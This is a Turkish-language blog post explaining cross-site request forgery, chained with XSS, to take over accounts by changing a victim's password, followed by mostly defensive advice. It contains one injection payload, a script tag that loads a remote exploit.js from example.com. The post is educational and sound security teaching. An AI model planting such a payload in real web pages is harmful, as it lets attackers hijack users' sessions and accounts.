top of page

Cross-Site Request Forgery (CSRF)

Yazarın fotoğrafı: Songül ÖZÜGÜRLER
Songül ÖZÜGÜRLER
28 Nis
2 dakikada okunur

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF)

Filtrelenmemiş kullanıcı girdisinin neden olduğu üçüncü front-end zafiyet türü Cross-Site Request Forgery (CSRF) ’dir. CSRF saldırıları, kurbanın o anda giriş yapmış olduğu bir web uygulamasında belirli sorguları ve API çağrılarını çalıştırmak için XSS zafiyetlerini kullanabilir. Bu da saldırganın, giriş yapmış kullanıcı gibi işlem yapabilmesini sağlar. CSRF ayrıca aynı işlevleri gerçekleştirmek için başka zafiyetleri de kullanabilir; örneğin HTTP parametrelerinin kötüye kullanılması gibi.

Web uygulamasında daha yüksek yetkili erişim elde etmek için yapılan yaygın bir CSRF saldırısı şudur: Saldırgan, kurbanın şifresini otomatik olarak saldırganın belirlediği bir değere değiştiren bir JavaScript payload’ı hazırlar. Kurban, zafiyetli sayfada bu payload’ı gördüğü anda (örneğin içinde JavaScript CSRF payload’ı bulunan kötü amaçlı bir yorum), JavaScript kodu otomatik olarak çalışır. Bu kod, kurbanın giriş yapmış oturumunu kullanarak şifre değişikliği işlemini gerçekleştirir. İşlem tamamlandıktan sonra saldırgan, kurbanın hesabına giriş yapabilir ve hesabı kontrol edebilir.

CSRF, admin hesaplarına saldırmak ve onların hesaplarına erişmek için de kullanılabilir. Adminler genellikle hassas işlevlere erişebilir ve bazen bu işlevler, web uygulamasının back-end sunucusuna saldırmak veya onu ele geçirmek için kullanılabilir (uygulamada adminlere sunulan özelliklere bağlı olarak).

Bu örneği takip edersek; session cookie değerini döndüren JavaScript kodu kullanmak yerine, uzaktan bir .js (JavaScript) dosyası yükleyebiliriz. Örneğin:

"><script src=//www.example.com/exploit.js></script>

exploit.js dosyası, kullanıcının şifresini değiştiren kötü amaçlı JavaScript kodunu içerir. Bu senaryoda exploit.js geliştirmek, web uygulamasının şifre değiştirme prosedürünü ve API’lerini bilmeye ihtiyaç duyar. Saldırgan, istenen işlevi taklit edecek ve otomatik olarak çalıştıracak JavaScript kodunu yazmalıdır (yani bu web uygulamasına özel şekilde şifre değiştiren JavaScript kodu).

Önleme (Prevention)

Back-end tarafında kullanıcı girdisini tespit etmek ve filtrelemek için önlemler bulunması gerekse de, kullanıcı girdisinin back-end’e ulaşmadan önce front-end tarafında da filtrelenmesi ve sanitize edilmesi her zaman önemlidir. Özellikle bu kod, back-end ile iletişime geçmeden doğrudan client-side’da görüntülenebiliyorsa bu daha da kritiktir.

Kullanıcı girdisi kabul edilirken iki ana kontrol uygulanmalıdır:

TürAçıklama Sanitization (Temizleme) Kullanıcı girdisini ekranda göstermeden veya kaydetmeden önce özel karakterleri ve standart dışı karakterleri kaldırmak Validation (Doğrulama) Kullanıcı tarafından gönderilen girdinin beklenen formatla eşleştiğini doğrulamak (örneğin e-posta formatı gibi)

Bunun yanında, gösterilen çıktının da sanitize edilmesi ve özel/standart dışı karakterlerin temizlenmesi önemlidir. Böylece saldırgan front-end ve back-end filtrelerini aşmayı başarsa bile, front-end tarafında zarar oluşması engellenebilir.

Kullanıcı girdisini ve ekrana basılan çıktıyı sanitize/validate ettiğimizde, HTML Injection ve XSS gibi saldırıları engelleyebiliriz.

Bir diğer çözüm, bir Web Application Firewall (WAF) kullanmaktır. WAF, injection denemelerini otomatik olarak engellemeye yardımcı olabilir. Ancak WAF çözümlerinin bazı durumlarda aşılabileceği unutulmamalıdır. Bu yüzden geliştiriciler sadece WAF’a güvenmemeli, yazılım geliştirme en iyi pratiklerini uygulamalıdır.

XSS ve CSRF’e karşı ek savunmalar

XSS’e karşı modern tarayıcılarda, JavaScript’in otomatik çalıştırılmasını engelleyen yerleşik korumalar bulunur.

CSRF için ise modern web uygulamalarının çoğu anti-CSRF mekanizmaları içerir. Örneğin:

- Her session veya request için benzersiz token istemek

- HTTP seviyesinde savunmalar:

- SameSite cookie attribute (örn: SameSite=Strict veya SameSite=Lax )

- Bu özellik, tarayıcının cross-origin isteklerde authentication cookie’lerini otomatik eklemesini kısıtlar.

- İşlevsel savunmalar:

- Şifre değiştirmeden önce kullanıcıdan tekrar şifre girmesini istemek

Ancak bu güvenlik önlemleri bile bazı senaryolarda aşılabilir. Bu yüzden XSS ve CSRF gibi zafiyetler web uygulaması kullanıcıları için hâlâ ciddi risk oluşturmaktadır.

Bu savunmalar, “ana güvenlik” olarak değil, ek katmanlar olarak düşünülmelidir. Geliştiriciler uygulamalarını güvenli tasarlamalı ve temel olarak bu tür saldırılara açık olmayacak şekilde inşa etmelidir.

OWASP tarafından yayınlanan Cross-Site Request Forgery Prevention Cheat Sheet , saldırı ve önleme yöntemlerini daha detaylı şekilde açıklamaktadır.

 
 
bottom of page